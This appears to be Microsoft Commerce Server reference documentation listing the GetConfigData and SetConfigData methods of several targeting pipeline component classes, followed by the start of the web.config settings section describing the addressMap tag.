Provides a user interface for the configuration data for the LoadHistory object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)


LoadHistory Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


LoadHistory.GetConfigData Method (PIA)

Use this method to return a Dictionary object for the user interface and to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

LoadHistory Class


LoadHistory.SetConfigData Method (PIA)

Use this method to take a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the Object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

LoadHistory Class


LRUCacheFlush Class (PIA)

Provides a user interface to the configuration data for the LRUCacheFlush object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)


LRUCacheFlush Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


LRUCacheFlush.GetConfigData Method (PIA)

This method returns a Dictionary object for the user interface to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

[Visual Basic .NET]

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

See Also

LRUCacheFlush Class


LRUCacheFlush.SetConfigData Method (PIA)

This method takes a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  Object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

See Also

LRUCacheFlush Class


PredictorScoring Class (PIA)

Provides a user interface to the configuration data for the PredictorScoring object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component by using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)


PredictorScoring Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component by using the contents of a Dictionary object.


PredictorScoring.GetConfigData Methods (PIA)

Use this method to return a Dictionary object for the user interface to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

PredictorScoring Class


PredictorScoring.SetConfigData Methods (PIA)

Use this method to point to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  Object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

PredictorScoring Class


RecordEvent Class (PIA)

Provides a user interface for the configuration data for the RecordEvent object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)


RecordEvent Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


RecordEvent.GetConfigData Method (PIA)

Use this method to return a Dictionary object for the user interface and to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

RecordEvent Class


RecordEvent.SetConfigData Method (PIA)

Use this method to take a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the Object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

RecordEvent Class


RecordHistory Class (PIA)

Provides a user interface to the configuration data for the RecordHistory object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)


RecordHistory Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


RecordHistory.GetConfigData Method (PIA)

Use this method to return a Dictionary object for the user interface and to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

RecordHistory Class


RecordHistory.SetConfigData Method (PIA)

Use this method to take a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the Object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

RecordHistory Class


SaveHistory Class (PIA)

Provides a user interface to the configuration data for the SaveHistory object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)


SaveHistory Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


SaveHistory.GetConfigData Method (PIA)

Use this method to return a Dictionary object for the user interface and to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

SaveHistory Class


SaveHistory.SetConfigData Method (PIA)

Use this method to take a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the Object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

SaveHistory Class


ScoreDiscounts Class (PIA)

Provides a user interface to the configuration data for the ScoreDiscounts object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)


ScoreDiscount Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


ScoreDiscounts.GetConfigData Method (PIA)

Use this method to return a Dictionary object for the user interface and to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

ScoreDiscounts Class


ScoreDiscounts.SetConfigData Method (PIA)

Use this method to take a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the Object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

ScoreDiscounts Class


SelectWinners Class (PIA)

Provides a user interface to the configuration data for the SelectWinners object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)


SelectWinners Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


SelectWinners.GetConfigData Method (PIA)

Use this method to return a Dictionary object for the user interface and to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

SelectWinners Class


SelectWinners.SetConfigData Method (PIA)

Use this method to take a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the Object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

SelectWinners Class


SendPrecomposedMessage Class (PIA)

Provides a user interface to the configuration data for the SendPrecomposedMessage object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: dml_pipelinelib (in dml_pipelinelib.dll)


SendPrecomposedMessage Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.


SendPrecomposedMessage.GetConfigData Method (PIA)

Use this method to return a Dictionary object for the user interface and to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: dml_pipelinelib (in dml_pipelinelib.dll)

See Also

SendPrecomposedMessage Class


SendPrecomposedMessage.SetConfigData Method (PIA)

Use this method to take a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the Object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server family

Assembly: dml_pipelinelib (in dml_pipelinelib.dll)

See Also

SendPrecomposedMessage Class


ThrottleDMLPerformance Class (PIA)

Provides a user interface to the configuration data for the ThrottleDMLPerformance object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component by using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server Family

Assembly: dml_pipelinelib (in dml_pipelinelib.dll)


ThrottleDMLPerformance Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component by using the contents of a Dictionary object.


ThrottleDMLPerformance.GetConfigData Method (PIA)

This method returns a Dictionary object for the user interface to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server Family

Assembly: dml_pipelinelib (in dml_pipelinelib.dll)

See Also

ThrottleDMLPerformance Class


ThrottleDMLPerformance.SetConfigData Method (PIA)

This method takes a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  Object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server Family

Assembly: dml_pipelinelib (in dml_pipelinelib.dll)

See Also

ThrottleDMLPerformance Class


VerifyMessageBody Class (PIA)

Provides a user interface to the configuration data for the VerifyMessageBody object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component by using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server Family

Assembly: dml_pipelinelib (in dml_pipelinelib.dll)


VerifyMessageBody Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component by using the contents of a Dictionary object.


VerifyMessageBody.GetConfigData Method (PIA)

This method returns a Dictionary object for the user interface to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server Family

Assembly: dml_pipelinelib (in dml_pipelinelib.dll)

See Also

VerifyMessageBody Class


VerifyMessageBody.SetConfigData Method (PIA)

This method takes a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  Object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server Family

Assembly: dml_pipelinelib (in dml_pipelinelib.dll)

See Also

VerifyMessageBody Class


VerifyRecipient Class (PIA)

Provides a user interface to the configuration data for the VerifyRecipient object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component by using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server Family

Assembly: dml_pipelinelib (in dml_pipelinelib.dll)


VerifyRecipient Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component by using the contents of a Dictionary object.


VerifyRecipient.GetConfigData Method (PIA)

This method returns a Dictionary object for the user interface to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server Family

Assembly: dml_pipelinelib (in dml_pipelinelib.dll)

See Also

VerifyRecipient Class


VerifyRecipient.SetConfigData Method (PIA)

This method takes a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  Object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server Family

Assembly: dml_pipelinelib (in dml_pipelinelib.dll)

See Also

VerifyRecipient Class


WriteEvents Class (PIA)

Provides a user interface to the configuration data for the WriteEvents object.

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component by using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose and the Pipeline Component Reference.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server Family

Assembly: CSFCompLib (in CSFCompLib.dll)


WriteEvents Methods (PIA)

Methods

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component by using the contents of a Dictionary object.


WriteEvents.GetConfigData Method (PIA)

This method returns a Dictionary object for the user interface to read the configuration data for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Function GetConfigData() As Object
[C#]
using Microsoft.CommerceServer. Targeting.PipelineComponents;
…
public Object GetConfigData();

Return Value

A Dictionary object from which the user interface can read the configuration data.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server Family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

WriteEvents Class


WriteEvents.SetConfigData Method (PIA)

This method takes a pointer to an object containing the configuration information for the component.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting.PipelineComponents
…
Public Sub SetConfigData(
  pDict As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting.PipelineComponents;
…
public void SetConfigData(
  Object pDict
);

Parameters

[Visual Basic .NET]
pDict
[in] An interface pointer to the object containing the configuration information.
[C#]
pDict
[in] An interface pointer to the object containing the configuration information.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException.

Remarks

For more information, see Deciding Which Interface to Expose.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting.PipelineComponents

Platforms: Windows 2000, Windows .NET Server Family

Assembly: CSFCompLib (in CSFCompLib.dll)

See Also

WriteEvents Class


.NET Configuration Settings

This section describes the Configuration Settings available for use within a web.config file for a .NET-based Commerce Server application. These settings allow you to configure services such as caching, pipelines, and localizable resources by making changes to the Commerce Server section of the web.config file.

For more information about the Commerce Server web.config file, see Configuration Services.

This section contains:

  • addressMap Tag
  • application Tag
  • authentication Tag
  • caches Tag
  • catalog Tag
  • contentSelection Tag
  • messageManager Tag
  • pipelines Tag
  • profile Tag


addressMap Tag

The addressMap tag is a container for the properties that will be mapped from the Profiling System to the Order System at runtime. This tag exists within an orders tag because it is specific to the Order System in Commerce Server. The addressMap tag contains two tags, profileDefinition and property.

profileDefinition Tag

This tag denotes the name of the profile definition that serves as the schema for an address element.

The following table lists the attributes of the profileDefinition tag.

Attribute | Data Type | Description
name | String | The name of the profile. The default value is Address. This attribute is required.

property Tag

This tag denotes a property mapping from the Profiling System to the Order System. Multiple instances of this tag can occur.

The following table lists the attributes of the property tag.

Attribute | Datatype | Description
from | String | The canonical property name in the Profiling System. This attribute is required.
to | String | The field name in the Address dictionary used by the Order System to which the profile property should be mapped. This attribute is required.

The following table lists the default values implemented by this configuration section.

From | To
GeneralInfo.first_name | first_name
GeneralInfo.last_name | last_name
GeneralInfo.address_line1 | address_line1
GeneralInfo.address_line2 | address_line2
GeneralInfo.city | city
GeneralInfo.region_code | region_code
GeneralInfo.postal_code | postal_code
GeneralInfo.ship_to_country | ship_to_country
GeneralInfo.ship_to_state | ship_to_state
GeneralInfo.country_code | country_code
GeneralInfo.address_id | address_id

Example

<orders>
  <addressMap>
    <profileDefinition name="profile-definition-name" />
    <property from="profile-property" to="address-dictionary- property" />
  </addressMap>
</orders>

See Also

Configuration Services


application Tag

